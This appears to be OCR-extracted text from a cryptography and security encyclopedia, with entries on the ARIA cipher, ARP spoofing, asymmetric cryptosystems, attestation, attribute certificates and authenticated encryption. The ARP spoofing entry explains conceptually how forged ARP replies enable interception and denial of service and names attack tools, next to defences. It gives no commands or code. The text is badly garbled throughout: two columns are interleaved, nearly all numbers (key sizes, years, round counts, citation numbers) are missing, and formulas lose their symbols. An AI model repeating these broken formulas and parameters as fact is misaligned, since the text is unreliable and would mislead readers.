be replicated by the server code S, otherwise this may VN () NoTamper: automatic blackbox detection of para
meter tampering opportunities in web applications. In: CCS:
result in parameter-tampering vulnerabilities. Bisht et al.
proceedings of the th ACM conference on computer and
[] used an approach based on symbolic execution and communications security, Chicago, IL, USA
constraint solving to identify parameter-tampering oppor- . Wassermann G, Yu D, Chander A, Dhurjati D, Inamura H, Su Z
tunities in web applications. Wassermann et al. [] used () Dynamic test input generation for web applications. In:
a concolic testingbased approach to uncover bugs in test ISSTA: proceedings of the international symposium on
software testing and analysis, Seattle, WA, USA
applications.
Applications
Several open source frameworks have implemented for- Applications of Rank-Metric
mal methodsbased techniques in their implementations. Codes
Most notable of these are the WebSSARI project [], SUIF
analysis framework [], and the TAPS web service []. Schemes Based on Rank Codes
ARP Poisoning A
As the number of rounds is always even, the encryption

ARIA and decryption operation are identical, provided that the
order of the round keys is reversed. Hence, ARIA is an
Sebastiaan Indesteege involution.
A
Department of Electrical Engineering-ESAT/COSIC, The round keys are generated using the key schedule,
Katholieke Universiteit Leuven and IBBT, which consists of two phases. In the first phase, certain
Leuven-Heverlee, Belgium intermediate values are generated using a Feistel network
based on the ARIA round function. In the second phase,
Related Concepts these values are recombined into the required number of
Block Ciphers; Boomerang Attack; Feistel Cipher; subkeys, using XOR and bit rotations.
Impossible Differential Attack; Security Standards;
SubstitutionPermutation (SP) Network
Open Problems
At the time of writing, ARIA remains unbroken. In [],
Denition Biryukov et al. performed an extensive security analy-
ARIA is a South Korean block cipher that was designed in sis of ARIA. Other cryptanalytic results on ARIA include
and standardised as a Korean Standard block cipher an impossible differential attack on up to rounds by
algorithm in . Wu et al. [], which was later improved by Li et
al. [], and a boomerang attack up to rounds by
Background Fleischmann et al. [].
The ARIA block cipher [] was designed by a team of
South Korean researchers in . Just like the Advanced
Encryption Standard (AES), from which ARIA borrows Recommended Reading
certain ideas, it is a substitution-permutation network . Biryukov A, De Cannire C, Lano J, Preneel B, rs SB ()
Security and performance analysis of ARIA, final report. COSIC
(SPN) cipher, has a block size of bits, and supports
internal report. http://www.cosic.esat.kuleuven.be/publications/
key sizes of , , and bits. Unlike most other article-.pdf
SPN ciphers, however, ARIA is an involution. This means . Fleischmann E, Gorski M, Lucks S () Attacking reduced
that the encryption and decryption operation are identical, rounds of the ARIA block cipher. Cryptology ePrint Archive,
except for reversing the order of the subkeys. This offers an Report /. http://eprint.iacr.org///
. Kwon D, Kim J, Park S, Sung SH, Sohn Y, Song JH, Yeom Y, Yoon
implementation advantage, which is also found in Feistel
E-J, Lee S, Lee J, Chee S, Han D, Hong J () New block cipher:
ciphers. In , ARIA was selected as a Korean standard ARIA. In: Lim JI, Lee DH (eds) ICISC , Seoul, Novem-
block cipher algorithm (KS X ) by the Korean Ministry ber . Lecture notes in computer science, vol . Springer,
of Knowledge Economy. Berlin, pp
. Li PZR, Sun B, Li C () New impossible differential cryptanal-
ysis of aria. Cryptology ePrint Archive, Report /. http://
Theory eprint.iacr.org///
ARIA has a block size of bits, and supports key lengths . Wu W, Zhang W, Feng D () Impossible differential cryptanal-
of , , and bits. Depending on the key length, ysis of reduced-round ARIA and camellia. J Comput Sci Technol
ARIA has , , or rounds. Each round consists of ():
round key addition, a substitution layer, and a diffusion

layer. The round key addition adds a -bit subkey to the
internal state using XOR. The substitution layer consists
of parallel -bit S-box lookups. Two different S-boxes ARP Poison Routing (APR)
and their inverses are used in each round. Which S-box
is applied to which state byte differs for even and odd ARP Spoofing
rounds. More precisely, the substitution layer used in the
even rounds is the inverse of the substitution layer used in
the odd rounds. The linear diffusion layer recombines the
state bytes using XOR. It can be seen as a matrix mul- ARP Poisoning
tiplication with a binary involutional matrix, i.e.,
the matrix has only / elements and it is its own inverse. ARP Spoofing
A ARP Spoong
pair. When the victim host broadcasts a request for that IP

ARP Spoong address, the malicious host takes advantage of the race con-
dition inherent to ARPs statelessness. A successful attack
William Enck updates the victim hosts ARP cache with desired values.
Department of Computer Science and Engineering, The Most IP stacks now ignore unsolicited ARP replies (a
Pennsylvania State University, University Park, PA, USA related weakness allowing an attacker to freely control the
ARP cache of networked hosts); however, this does not
Synonyms limit ARP cache manipulation. The attacker simply needs to
ARP poisoning; ARP poison routing (APR) spoof an Internet Control Message Protocol (ICMP) ping
message with the desired source address. The victim host
Related Concepts will respond by performing an ARP request for the MAC
Denial of Service (DoS) Attack; Man-in-the-Middle address associated with the spoofed source IP address.
(MITM) Attack When the victim host attempts to connect to a remote
host, it assumes that the IP/MAC address pair in its ARP
Denition cache is correct. If the entry has been maliciously crafted,
ARP spoofing is a technique used to maliciously influence either DoS or MITM attacks may result. A DoS attack is
the contents of the ARP cache on a local network host. It achieved when the specified MAC address is invalid or
facilitates both Man-in-the-Middle (MITM) attacks (usu- otherwise not controlled by the attacker. For example, an
ally between a host and the gateway) and Denial-of-Service invalid MAC address associated with the network gate-
(DoS) attacks. ways IP address inhibits external network traffic. Arguably
the MITM attacks are more severe. In this case, instead of
Background mapping the network gateways IP address to an invalid
In computer networks, hosts commonly use the Address MAC address, the attacker ensures that the gateways IP
Resolution Protocol (ARP) [] to discover the link layer address is mapped to the MAC address of a malicious
address corresponding to a network layer address. The host. Simultaneously, the attacker ensures the network
acronym ARP generally refers to the resolution of Ether- gateways ARP cache maps the victims IP address to the
net Media Access Control (MAC) addresses from Internet MAC address of the malicious host. As a result, the mali-
Protocol version (IPv) addresses. While ARP is not cious host can transparently intercept, potentially modify,
restricted to either Ethernet or IPv, this entry uses ter- and forward all traffic between the victim and the gate-
minology from these protocols for explanatory purposes. way. Note that this attack allows network sniffing even
An ARP resolution occurs via a distributed lookup on switched networks. Multiple tools are available to per-
algorithm consisting of a broadcast request followed by a form ARP spoofing attacks, including Cain and Abel [],
unicast reply. The querying host sends its request to the DSniff [], and Ettercap [].
local networks broadcast address. All the hosts on the local
network receive the request, but only the host matching Mitigation
the indicated IP address replies. The ARP reply, contain- ARP spoofing has long been known []; however, it remains
ing both the targets IP and MAC addresses, is unicast a problem []. At the root of ARP spoofing is a lack
back to the requesters MAC address. Upon receiving the of integrity and authenticity on the mapping between IP
unicast reply, the requester places the IP/MAC address and MAC addresses in ARP replies. However, remedy-
pair encoded in the packet into its ARP cache. Note ing this problem is nontrivial for two central reasons.
that the ARP request/reply protocol is stateless, and the First, the solution must not discard ARP itself, as net-
requester does not match request packets to reply pack- works commonly contain legacy devices with proprietary
ets. The address pair remains in the ARP cache until an firmware that is not easily updateable. Second, host-based
implementation-specific expiration period is reached, typ- modifications must have minimal overhead, as embedded
ically a min timer reset after each use. and resource-constrained devices commonly participate
in ARP.
Theory
ARP spoofing, also known as ARP poisoning, is the act of External Solutions
spoofing (i.e., forging) an ARP reply for malicious pur- Intelligent network devices have been introduced as an
poses. In its simplest form, a malicious host constructs a alternative to statically assigning ARP entires in network
fake ARP reply containing the desired IP/MAC address hosts (an intractable task for many networks). Advanced
Asymmetric Cryptosystem A
network switches commonly provide port security, which . Bellovin SM () A look back at security problems in the
restricts the MAC addresses that can use physical network TCP/IP protocol suite. In th Annual Computer Security Appli-
cation Conference (ACSAC), pp. , Dec , Jucson,
ports. Applied in this way, port security can help prevent
MAC hijacking, but does not prevent MITM attacks. The
Arizona A
. Bruschi D, Orgnaghi A, Rosti E () S-ARP: a secure address
Dynamic ARP Inspection (DAI) feature is also available resolution protocol. In Proceedings of the th Annual Computer
in some network switches. It analyzes ARP packets in real Security Application Conference (ACSAC), Las Vegas, Nevada
time, dropping those identified as invalid or malicious. . Cain & Abel. http://www.oxid.it/cain.html
. Gouda M, Huang C () A secure address resolution protocol.
Such analysis uses a database of valid IP-to-MAC address
Comput Netw :
bindings, which can be built either manually by the net- . Lootah W, Enck W, and McDaniel P () TARP: Ticket-based
work administrator, or dynamically using Dynamic Host Address Resolution Protocol. Comp Netw ():
Configuration Protocol (DHCP) snooping. Unfortunately, . Orgnaghi A, Valleri M ettercap: a suite for man in the middle
DAI is often cost prohibitive and cannot be applied to attacks. http://ettercap.sf.net
. Plummer DC () An Ethernet address resolution protocol or
wireless networks that lack the concept of a physical port.
converting network protocol addresses to .bit Ethernet address
IEEE .X provides virtual ports to wireless networks; for transmission on Ethernet hardware. RFC
however, alone, IEEE .X is insufficient to prevent ARP . Song D. dsniff: a collection of tools for network auditing and
spoofing, as it simply provides port authentication. Fre- penetration testing. http://www.monkey.org/~dugsong/dsniff
quently authenticated hosts are still considered potential
attackers in the network threat model. Finally, network
security appliances often include detection algorithms for
malicious ARP packets. Asymmetric Cryptosystem
However, attacks still occur and the approach is limited
to the response of the network administrator, as with other Burt Kaliski
network intrusion detection systems. Office of the CTO, EMC Corporation, Hopkinton,
MA, USA
Cryptographic Solutions
There have been multiple attempts to enhance ARP itself
with cryptographic primitives. Gouda and Huang [] pro- Synonyms
pose a secure address resolution protocol, wherein a secure Public-key cryptosystem; Two-key cryptosystem
server shares secret keys with each subnet host, and all
ARP messages are performed with that server. Bruschi
Related Concepts
Digital Signature Schemes; Hybrid Encryption; Key
et al. [] propose S-ARP, which uses asymmetric cryptogra-
Agreement; Public-Key Encryption; Symmetric Cryp-
phy and an Authoritative Key Distributor (AKD) to assert
tosystem
the authenticity of each subnet hosts public key. In S-ARP,
the ARP replies are signed by the hosts private key, and the
Denition
requester retrieves the corresponding private key from the
An asymmetric cryptosystem is one where different keys
AKD (if needed). Finally, Lootah et al. [], propose TARP,
are employed for the operations in the cryptosystem (e.g.,
a ticket-based Address Resolution Protocol. In TARP, the
encryption and decryption), and where one of the keys can
Local Ticket Agent (LTA) distributes tickets, which are dig-
be made public without compromising the secrecy of the
itally signed attestations of IP/MAC address pairs, to each
other key.
subnet host. The ticket must be provided with an ARP reply
for a TARP-enabled host to accept the association. Unfor-
Theory
tunately, while both S-ARP and TARP interoperate with
In the classic model for asymmetric encryption, an encryp-
non-enhanced ARP hosts, they are limited to protecting
tion operation E involving a public key PubKey can be
enhanced ARP hosts. En lieu of ARP security, higher layer
reversed by a decryption operation D involving a matching
protocols such as IPsec and SSL are often applied. How-
private key PrivKey. That is, given a message M, a ciphertext
ever, these protocols have their own limitations and do not
C is computed as
address DoS concerns.
C = E(PubKey, M)
Recommended Reading and the message M is recovered as
. Bellovin SM () Security problems in the TCP/IP protocol
suite. Comput Comm Rev (): M = D(PrivKey, C).
A Asynchronous Stream Cipher
Current usage is more general, covering other arrange- Background

ments (such as digital signature schemes and key agree- In many scenarios in computing, a party may have moti-
ment) where some operations involve a key that can be vation to ascertain the properties of another computing
made public and others involve a matching key that must entity.
be kept secret. Probably the most natural scenarios arise in distributed
computing. Can Alice trust that Bobs remote server is
Application sufficiently trustworthy for her to submit her sensitive
Asymmetric cryptosystems are widely deployed, especially information? Can Bob trust that Alices client machine
in environments where parties initially are not in a conve- is configured with the latest patches or is it laden
nient position to share secrets with one another. Examples with malware that will infect his system if she connects?
are RSA encryption, DiffieHellman key agreement, the The problems can also arise in settings where this no
Digital Signature Standard, and elliptic curve cryptog- clear client-server distinction, such as peer-to-peer com-
raphy. Implementations often employ a combination of puting (is Bob really running the bona fide file sharing
asymmetric and symmetric cryptosystems: the former for client?).
establishing a shared secret key, and the latter for protect- The problem can also rise in more localized settings,
ing messages and other information with the key. Such where one of the parties is explicitly human. Can Alice
systems are called hybrid encryption systems. trust her laptop is properly configured? How about a
public-access personal computer in the library?
Theory and Applications

Asynchronous Stream Cipher In all these settings, a straightforward way to try to solve
the problem is to somehow measure the system in question.
Self-Synchronizing Stream Cipher Even the language the above descriptions used betrays this
approach: whether Alice should trust machine M depends
on Ms configuration.
With the advent around the turn of the century of
Attack by Summation Over an the Trusted Computing Group (TCG) and the school of
Hypercube research and development it has spawned, the term attes-
tation has come to refer to a set of techniques to provide
Cube Attack the relying party with sufficient evidence primarily too
the software and cryptographic architecture that enables
a hardware Trusted Platform Module (TPM) to take mea-
surements of the software and hardware configuration of a
Attestation computing platform, and to reliably report these measure-
ments. (See Chap. in [] for an overview.)
Sean W. Smith However, research also identifies two key aspects in
Department of Computer Science, Dartmouth College, which this primary approach to attestation falls short of
Hanover, NH, USA the goal of enabling remote relying parties to make these
trust decisions. For one thing, the description provided
by basic attestation does not directly enable the relaying
Synonyms party to establish a secure communication channel with
Outbound authentication the platform in question. Consequently, researchers have
proposed various ways to augment basic attestation in
Related Concepts order to bind a cryptographic key pair to the platform
Secure Coprocessor; TPM; Trusted Computing description.
Another aspect is that the static measurements of con-
Denition figuration provided by the basic approach do not neces-
The term attestation has come to refer to a set of tech- sarily suffice: configuration data alone does not necessarily
niques to provide the relying party with sufficient evidence imply trustworthiness, and one-time static measurements
to make a trust decision about a given computing platform. do not necessarily describe the ongoing, current state of
Attribute Certicate A
the platform. To this end, the recent research literature public key certification authority may also be an attribute
explores ways of extending these basic mechanisms to authority (see below).
testify to more general properties of the platform (includ-
ing configuration history) sometimes via external third Background A
parties, sometimes via the platforms architecture itself In the wake of the first PKI-euphoria (Public Key Infras-
as well as to measure basic configuration or these more tructure), it was anticipated that there would be a great
advanced properties more often than at start-up perhaps need for attribute certificates. Attribute certificates were
even continuously. These latter extensions relate to the con- originally introduced to represent, e.g., power of attorney,
cepts of late launch (establishing the attested environment executive rights, etc., information which currently is stored
later than start-up) and the TXT/Presidio family of proces- as official information on registered companies or their
sor architecture. In another variation, software-based attes- registered representatives.
tation dispenses with cryptographic and hardware support
of measurement, and instead relies on computation care- Theory
fully crafted so that only a bona fide platform can compute Attributes that specify group membership, role, security
it within a specified time. clearance or other authorization information associated
In the last century, work on secure coprocessors led to with the attribute certificate holder. The syntax for the
mechanisms for outbound authentication [] that provided attribute certificate is defined in Recommendation X.
similar mechanisms to attestation. (ISO/IEC -), making the term X. certificate
ambiguous. Some people constantly confuse public key
Recommended Reading certificates and attribute certificates. A public key certifi-
. Smith SW () Trusted Computing Platforms: Design and cate unambiguously links a public key to an entity (iden-
Applications, Chap. . Springer, New York tity). Authorization information may be placed in a public
. Smith SW () Outbound authentication for programmable key certificate extension or placed in a separate attribute
secure coprocessors. Int J Inform Sec ():
certificate. The placement of authorization information in
public key certificates is usually undesirable for two rea-
sons. First, authorization information often does not have
the same lifetime as the binding of the identity and the
Attribute Certicate public key. When authorization information is placed in
a public key certificate extension, the general result is the
Marijke De Soete shortening of the public key certificate useful lifetime.
SecurityBiz, Oostkamp, Belgium Second, the public key certificate authority is not usu-
ally authoritative for the authorization information. This
results in additional steps for the public key certificate
Related Concepts authority issuer to obtain authorization information from
Access Control; Authorizations; PKI; Trusted the authoritative source. For these reasons, it is often better
Third Party to separate authorization information from the public key
certificate. Yet, authorization information also needs to be
Denition bound to an identity. An attribute certificate provides this
This is an electronic certificate, i.e., a message digitally binding; it is simply a digitally signed (or certified) identity
signed by some recognized trusted third party, the con- and set of attributes.
tent of which ties certain attributes, i.e., properties or
characteristics that can be used to determine the appear- Applications
ance, state, and other qualities of an entity to an ID, i.e., An attribute certificate may be used with various security
a user-ID whereby the user is a natural person or legal services, including access control, data origin authentica-
entity. The attributes of an entity can be distinguished tion, and non-repudiation.
quantitatively or qualitatively by human or automated As an example it could also be used to certify authoriza-
means. tion information related to a public key. More specifically,
Sometimes the trusted third party is referred to as an it may be used to limit the liability resulting from a digi-
attribute authority. It is an entity trusted by one or more tal signature, or to constrain the usage of a public key (e.g.,
entities to create and sign attribute certificates. Note that a transaction of a limited value, certain time windows, etc.).
A Authenticated Encryption
Recommended Reading can select a message M from a predefined message space,

. ISO/IEC - () Information technology open systems process it with the AE algorithm along with the key (and
interconnection the directory: public-key and attribute certifi- possibly a nonce N a counter or random value), and
cate frameworks. www.iso.org
then send the resulting output to Bob. The output will be
. ISO/IEC TR () Information technology security tech-
niques guidelines for the use and management of trusted third
the ciphertext C, the nonce N, and a short message authen-
party services. www.iso.org tication tag, . Bob should be able to recover M just given
. ANSIX. () Enhanced management controls using digital C, N, and his copy of the key K. He should also be able to
signatures and attribute certificates. www.webstore.ansi.org certify that Alice was the originator by computing a ver-
. RFC () An internet attribute certificate profile for autho-
ification algorithm using the above values along with the
risation. www.ietf.org
tag .
But what makes an AE algorithm good? We may have
many requirements, and the relative importance of these
requirements may vary according to the problem domain.
Authenticated Encryption Certainly, one requirement is that the AE algorithm be
secure. We will speak more about what this means in
J. Black a moment. But many other attributes of the algorithm
Department of Computer Science, Boulder, CO, USA may be important for us as well: performance, portability,
simplicity/elegance, parallelizability, availability of refer-
Related Concepts ence implementations, or freedom from patents; we will
Block Ciphers; MAC Algorithms; Stream Cipher; pay attention to each of these concerns to varying levels
Symmetric Crptosystem as well.
Introduction Security
Often when two parties communicate over a network, Certainly, an AE scheme is not going to serve our needs
they have two main security goals: privacy and authenti unless it is secure. An AE scheme has two goals: privacy
cation. In fact, there is compelling evidence that one should and authenticity. And each of these goals has a precise
never use encryption without also providing authentica- mathematical meaning [, , ]. In addition, there is a
tion [, ]. Many solutions for the privacy and authentica- precise definition for authenticated encryption, the com-
tion problems have existed for decades, and the traditional bination of both goals [, , ]. It would take us too far
approach to solving both simultaneously has been to com- afield to carefully define each notion, but we will give a brief
bine them in a straightforward manner using so-called intuitive idea of what is meant. In our discussion we will
generic composition. However, recently there have been use the term adversary to mean someone who is trying
a number of new constructions which achieve both pri- to subvert the security of the AE scheme, who knows the
vacy and authenticity simultaneously, often much faster definition of the AE scheme, but who does not possess the
than any solution which uses generic composition. In this key K.
entry, we will explore the various approaches to achiev- Privacy means, intuitively, that a passive adversary who
ing both privacy and authenticity, the so-called Authen- views the ciphertext C and the nonce N cannot under-
ticated Encryption problem. We will often abbreviate stand the content of the message M. One way to achieve
this as simply AE. We will start with generic compo- this is to make C indistinguishable from random bits, and
sition methods and then explore the newer combined indeed this is one definition of security for an encryp-
methods. tion scheme that is sometimes used, although it is quite a
strong one.
Background Authenticity means, intuitively, that an active adversary
Throughout this entry, we will consider the AE problem cannot successfully fabricate a ciphertext C, a nonce N, and
in the symmetric-key model. This means that we assume a tag in such a way that Bob will believe that Alice was
our two communicating parties, traditionally called Alice the originator. In the formal security model, we allow the
and Bob, share a copy of some bit-string K, called the adversary to generate tags for messages of his choice as if
key. This key is typically chosen at random and then dis- he were Alice for some period of time, and then he must
tributed to Alice and Bob via one of various methods. This attempt a forgery. We do not give him credit for sim-
is the starting point for our work. We now wish to pro- ply replaying a previously generated message and tag, of
vide Alice and Bob with an AE algorithm such that Alice course: He must construct a new value. If he does so with
Authenticated Encryption A
any significant probability of success, the authentication some things about their security; namely that they are as
scheme is considered insecure. secure as the primitives which underlie them. Almost all
of the AE schemes we will describe here are modes; only
Associated Data two of them are primitives.
A
In many application settings, we wish to not only encrypt
and authenticate message M, but we wish also to include AE Schemes
auxiliary data H which should be authenticated, but left The remainder of this entry is devoted to the description
unencrypted. An example might be a network packet and discussion of various AE algorithms. For convenience,
where the payload should be encrypted (and authenti- we list them in Fig. . Note that we omit generic composi-
cated) but the header should be unencrypted (and authen- tion from the table since this approach comprises a class of
ticated). The reason being that routers must be able to read schemes rather than a particular scheme.
the headers of packets in order to know how to properly
route them. Conventions
This need spurred some designers of AE schemes to Let denote the empty string. Let n denote the set of all
allow associated data to be included as input to their n-bit strings. In general, if S is a set we write S+ to mean
schemes. Such schemes have been termed AEAD (authen- or more repetitions of elements from S; that is, the set
ticated encryption with associated data) schemes, a notion {s s sm m > , si S, i m}. Thus ( n )+ is the set
which was first formalized by Rogaway []. As we will of all binary strings whose lengths are a positive multiple
see, the AEAD problem is easily solved in the generic of n. If we write S we mean zero or more repetitions of
composition setting, but can become challenging when elements from S. In other words, S = S+ { }. We write
designing the more complex schemes. In his paper, Rog- A B to mean the exclusive-or of strings A and B.
away describes a few simple, but limited, ways to include Many of our schemes use a block cipher. Throughout,
associated data in any AE scheme, and then presents a spe- n will be understood to be the block size of the underly-
cific method to efficiently add associated data to the OCB ing block cipher and k will be the size of its key. For block
scheme, which we discuss below. cipher E, we will write EK (P) to indicate invocation of
block cipher E using the k-bit key K on the n-bit plaintext
Provable Security block P.
One unfortunate aspect of most cryptographic schemes In order to process a message M ( n )+ we will often
is that we cannot prove that any scheme meets the for- wish to break M into m strings, M , . . . , Mm , each hav-
mal goals required of it. However, we can prove some ing n-bits such that M = M M . . . Mm . For brevity, we
things related to security, but it depends on the type of will say write M = M . . . Mm and understand it to mean
cryptographic object we are analyzing. If the object is a the above.
primitive, such as a block cipher, no proof of security
is possible, so instead we hope for security once we have Generic Composition
shown that no known attacks (e.g., differential cryptanal- Although AE did not get a formal definition until recently,
ysis) seem to work. However, for algorithms which are built the goal has certainly been implicit for decades. The tra-
on top of these primitives, called modes, we can prove ditional way of achieving both authenticity and privacy
Scheme #Passes Provably secure Assoc data Parallelizable On-line Patent-free
IAPM 1
XECB 1
OCB 1
CCM 2
EAX 2
CWC 2
Helix 1
SOBER- 1
128
Authenticated Encryption. Fig. A comparison of the various AE schemes. Generic composition is omitted since answers
would depend on the particular instantiation. For the schemes which do not support associated data, subsequent methods have
been suggested to remedy this; for example, see []
was to simply find an algorithm which yields each one the three approaches described above in this formal set-
and then use the combination of these two algorithms ting. Their results show that if the MAC has a property
on our message. Intuitively it seems that this approach called strongly unforgeable, then it possible to achieve
is obvious, straightforward, and completely safe. Unfortu- the strongest definition of security for AE only via the
nately, there are many pitfalls accidentally discovered by EtM approach. They further show that some known-good
well-meaning protocol designers. encryption schemes fail to provide privacy in the AE set-
One commonly made mistake is the assumption that ting when using the E&M approach, and fail to provide a
AE can be achieved by using a non-cryptographic non- slightly stronger notion of privacy with the MtE approach.
keyed hash function h and a good encryption scheme These theoretical results generated a great deal of
like CBC mode (Cipher Block Chaining mode; modes of interest since three major preexisting protocols, SSL/TLS
operation of a block cipher) with key K and initialization (Secure Socket Layer and Transport Layer Security),
vector N. One produces CBCK,N (M, h(M)) and hopes IPSec, and SSH, each used a different one of these three
this yields a secure AE scheme. However, these schemes are approaches: The SSL/TLS protocol uses MtE, IPSec uses
virtually always broken. Perhaps the best-known example EtM, and SSH uses E&M. One might think that perhaps
is the Wired Equivalent Privacy (WEP) protocol used with security flaws exist in SSL/TLS and SSH because of the
. wireless networks. This protocol instantiates h as a results of Bellare and Namprempre; however, concurrent
Cyclic Redundancy Code (CRC) and then uses a stream with their work, Krawczyk showed that SSL/TLS was in
cipher to encrypt. Borisov et al. showed, among other fact secure because of the encoding used alongside the MtE
things, that it was easy to circumvent the authentication mechanism []. And later Bellare, Kohno, and Namprem-
mechanism []. pre showed that despite some identified security flaws in
Another common pitfall is key reuse. In other words, SSH, it could be made provably secure via a number of
this means using some key K for both the encryption simple modifications despite its E&M approach.
scheme and the MAC algorithm. This approach applied The message here is that EtM with a provably secure
blindly almost always fails. We will later see that all of our encryption scheme and a provably secure MAC each with
combined modes, listed after this section, do in fact use a independent keys is the best approach for achieving AE.
single key, but they are carefully designed to retain security Although MtE and E&M can be secure, security will often
in spite of this. depend on subtle details of how the data are encoded and
It is now clear to researchers that one needs to use a on the particular MAC and encryption schemes used.
keyed hash (i.e., a MAC) with some appropriate key K
along with a secure encryption scheme with an indepen- Performance
dent key K. However, it is unclear in what order these Simple methods for doing very fast encryption have been
modes should be applied to a message M in order to known for quite some time. For example, CBC mode
achieve authenticated encryption. There are three obvious encryption has very little overhead beyond the calls to the
choices: block cipher. Even more attractive is CTR mode (CounTeR
mode; modes of operation of a block cipher), which sim-
MtE: MAC-then-Encrypt. We first MAC M under key
ilarly has little overhead and in addition is parallelizable.
K to yield tag and then encrypt the resulting pair
However, MACing quickly is not so simple. The CBC MAC
(M, ) under key K.
(Cipher Block Chaining Message Authentication Code;
EtM: Encrypt-then-MAC. We first encrypt M under
CBC MAC and variants) is quite simple and just as fast
key K to yield ciphertext C and then compute
as CBC mode encryption, but there are well-known ways
MAC K (C) to yield the pair (C, ).
to go faster. The fastest software MAC in common use
E&M: Encrypt-and-MAC. We first encrypt M under
today is HMAC [, ]. HMAC uses a cryptographic hash
key K to yield ciphertext C and then compute
function to process the message M and this is faster than
MAC K (M) to yield the pair (C, ).
processing M block-by-block with a block cipher. How-
Also note that decryption and verification are straightfor- ever, even faster approaches have been invented using the
ward for each approach above: For MtE decrypt first, then WegmanCarter construction []. This approach involves
verify. For EtM and E&M verify first, then decrypt. using a non-cryptographic hash function to process M,
and then uses a cryptographic function to process the hash
Security output. The non-cryptographic hash is randomly selected
In , Bellare and Namprempre gave formal defini- from a carefully designed family of hash functions, all with
tions for AE [], and then systematically examined each of a common domain and range. The goal is to produce a
family such that distinct messages are unlikely to hash to IAPM accepts a message M ( n )+ , a nonce N n ,
the same value when the hash function is randomly chosen and a key pair K, K each selected from k for use with
from that family. This is the so-called universal hash family the underlying block cipher E. The key pair is set up and
[]. The fastest known MACs are based on the Wegman distributed in advance between the communicating par-
A
Carter approach. The speed champions are UMAC [] ties; the keys are reused for a large number of messages.
and hash [], though neither of these are in common However, N and (usually) M vary with each transmission.
use yet. First, we break M into M Mm and proceed as follows.
There are two main steps: () offset generation and ()
Associated Data encryption/tag generation. For offset generation we enci-
As we mentioned in the introduction, it is a common pher N to get a seed value, and then encipher sequential
requirement in cryptographic protocols that we allow seed values to get the remaining seed values. In other
authenticated but non-encrypted data to be included in words, set W EK (N) and then set Wi EK (W +
our message. Although the single-pass modes we describe i ) for i t where t = lg(m + ). Here lg means
next do not naturally allow for associated data, due to the log , so if we had a message M with n-bit blocks, we
fact that their encryption and authentication methods are would require lg() = block-cipher invocations to
intricately interwoven, we do not have this problem with generate the Wi values. Finally, to derive our m + offsets
generically composed schemes. Since the encryption and from the seed values, for i from to m + , we compute
MAC schemes are entirely independent, we simply run the Si tj= (i[j]wj ) where i[ j] is the jth bit of i.
MAC on all the data and run the encryption scheme only Armed with S through Sm we are now ready to
on the data to be kept private. process M. First we encrypt each block of M by computing
Ci EK (Mi Si ) Si for i m . This XOR-
Can We Do Better?
ing of Si before and after the block-cipher invocation is
One obvious question when considering generically com-
the whitening we spoke of previously, and is the main idea
posed AE schemes is can we do better? In other words,
in all schemes discussed in this section. Next we compute
might there be a way of achieving AE without using two
the authentication tag : set EK (Sm m i= Mi ) S .
different algorithms, with two different keys, and making
Notice that we are whitening the simple sum of the plain-
two separate passes over the message. The answer is yes,
text blocks with two different offset values, S and Sm .
and a discussion of these results constitutes the remainder
Finally, output (N, C , . . . , Cm , ) as the authenticated
of this entry.
ciphertext. Note that the output length is two n-bit blocks
Single-Pass Combined Modes longer than M. This ciphertext expansion, comparable to
It had long been a goal of cryptographers to find a mode of what we saw with generic composition, is quite minimal.
operation which achieved AE using only a single pass over Given the K, K, and some output (N, C , . . . ,
the message M. Many attempts were made at such schemes, Cm , ), it is fairly straightforward to recover M and
but all were broken. Therefore, until the year , people check the authenticity of the transmission. Notice that N
still used generic composition to achieve AE, which as we is sent in the clear and so using K we can compute the
have seen requires two passes over M. Wi values and therefore the Si values. We compute Mi
E
K (Ci Si ) Si for i m to recover M. Then we
IAPM check EK (Sm m= i= Mi )S to ensure it matches . If we
In , Jutla at IBM invented two schemes which were get a match, we accept the transmission as authentic, and
the first correct single-pass AE modes []. He called these if not we reject the transmission as an attempted forgery.
modes IACBC (Integrity-Aware Cipher Block Chaining)
and IAPM (Integrity-Aware Parallelizable Mode). The first
mode somewhat resembles CBC-mode encryption; how- Comments on IAPM
ever, offsets were added in before and after each block- Compared to generic composition, where we needed about
cipher invocation, a technique known as whitening. m block-cipher invocations per message (assuming our
However, as we know, CBC-mode encryption is inher- encryption and authentication modes were block-cipher-
ently serial: We cannot begin computation for the (k + )th based), we are now using only around m lg(m) invoca-
block-cipher invocation until we have the result of the kth tions. Further refinements to IAPM reduce this even more,
invocation. Therefore, more interest has been generated so the number of block-cipher invocations is nearly m in
around the second mode, IAPM, which does not have this these optimized versions meaning that one can achieve AE
disadvantage. Let us look at how IAPM works. at nearly the same cost of encryption alone.
Proving a scheme like IAPM secure is not a simple associated data in all three of the single-pass schemes men-
task, and indeed we cannot present such a proof here. tioned above, and for OCB gives an extension which uses
The interested reader is encouraged to read Halevis arti- PMAC [] to give a particularly efficient variant of OCB
cle which contains a rigorous proof that if the underlying which handles associated data.
block cipher is secure, then so are IACBC and IAPM [].
Intellectual Property
XCBC and OCB Given the importance of these new highly efficient AE
Quickly after announcement of IACBC and IAPM, other algorithms, all of the authors decided to file for patents.
researchers went to work on finding similar single-pass Therefore, IBM and Gligor and Rogaway all have intellec-
AE schemes. Soon two other parties announced similar tual property claims for their algorithms and perhaps on
schemes: Gligor and Donescu produced a host of schemes, some of the overriding ideas involved. To date, none of
each with various advantages and disadvantages [], and these patents have been tested in court, so the extent to
Rogaway et al. announced their OCB scheme [], which is which they are conflicting or interrelated is unclear. One
similar to IAPM but with a long list of added optimizations. effect, however, is that many would-be users of this new
Gligor and Donescu presented two classes of schemes: technology are worried that the possible legal entangle-
XCBC and XECB. XCBC is similar to CBC mode encryp- ments are not worth the benefits offered by this technology.
tion just as IACBC was above, and XECB is similar to ECB Despite this, OCB has appeared in the . draft standard
mode encryption which allows parallelism to be exploited, as an alternate mode, and has been licensed several times.
much like the IAPM method presented above. Since many However, without IP claims it is possible that all of these
practitioners desire parallelizable modes, the largest share algorithms would be in common use today.
of attention has been paid to XECB. Similar to IAPM, It was the complications engendered by the IP claims
XECB uses an offset to each message block, applied before which spurred new teams of researchers to find further
and after a block-cipher invocation. However, XECB gen- efficient AE algorithms which would not be covered by
erates these offsets in a very efficient manner, using arith- patents. Although not as fast as the single-pass modes
metic mod n , which is very fast on most commodity described here, they still offer significant performance
processors. Once again, both schemes are highly optimized improvements over generic composition schemes. These
and provide AE at a cost very close to that of encryption schemes include CCM, CWC, and EAX, the latter invented
alone. Proofs of security are included in the paper, using in part by two researchers from the OCB team. We discuss
the reductionist approach we described above. these schemes next.
Rogaway, Bellare, Black, and Krovetz produced a single
